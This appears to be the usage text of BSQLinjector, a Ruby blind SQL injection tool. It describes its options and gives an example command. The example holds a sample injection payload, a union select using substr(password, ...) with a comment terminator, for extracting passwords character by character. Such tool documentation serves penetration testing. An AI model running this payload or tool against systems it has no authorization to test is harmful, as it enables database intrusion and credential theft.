BSQLinjector uses blind method to retrieve data from SQL databases. I recommend using "--test" switch to clearly see how configured payload looks like before sending it to an application.

Options: 

--file Mandatory - File containing valid HTTP request and SQL injection point (SQLINJECT). (--file=/tmp/req.txt)

--pattern Mandatory - Pattern to look for when query is true. (--pattern=truestatement) 

--prepend Mandatory - Main payload. (--prepend="abcd'and'a'='b'+union+select+'truestatement'+from+table+where+col%3d'value'+and+substr(password,"

--append How to end our payload. For example comment out rest of SQL statement. (--append='#

--2ndfile File containing valid HTTP request used in second order exploitation. (--2ndfile=/tmp/2ndreq.txt)

--mode Blind mode to use - (between - b (generates less requests), moreless - a (generates less requests by using "<", ">", "=" characters), like - l (complete bruteforce), equals - e (complete bruteforce)). (--mode=l)

 --hex Use hex to compare instead of characters.

 --case Case sensitivity.

--ssl Use SSL.

--proxy Proxy to use. (--proxy=127.0.0.1:8080)

--test Enable test mode. Do not send request, just show full payload.

 --comma Encode comma. 

--bracket Add brackets to the end of substring function. --bracket="))" 

--schar Character placed around chars. This character is not used while in hex mode. (--schar="'")

--special Include all special characters in enumeration.

--start Start enumeration from specified character. (--start=10)

--max Maximum characters to enumerate. (--max=10)

--timeout Timeout in waiting for responses. (--timeout=20) 

--verbose Show verbose messages.

Example usage: 

ruby ./BSQLinjector.rb --pattern=truestatement --file=/tmp/req.txt --prepend="abcd'and'a'='b'+union+select+'truestatement'+from+table+where+col%3d'value'+and+substr(password," --append="'#" --ssl

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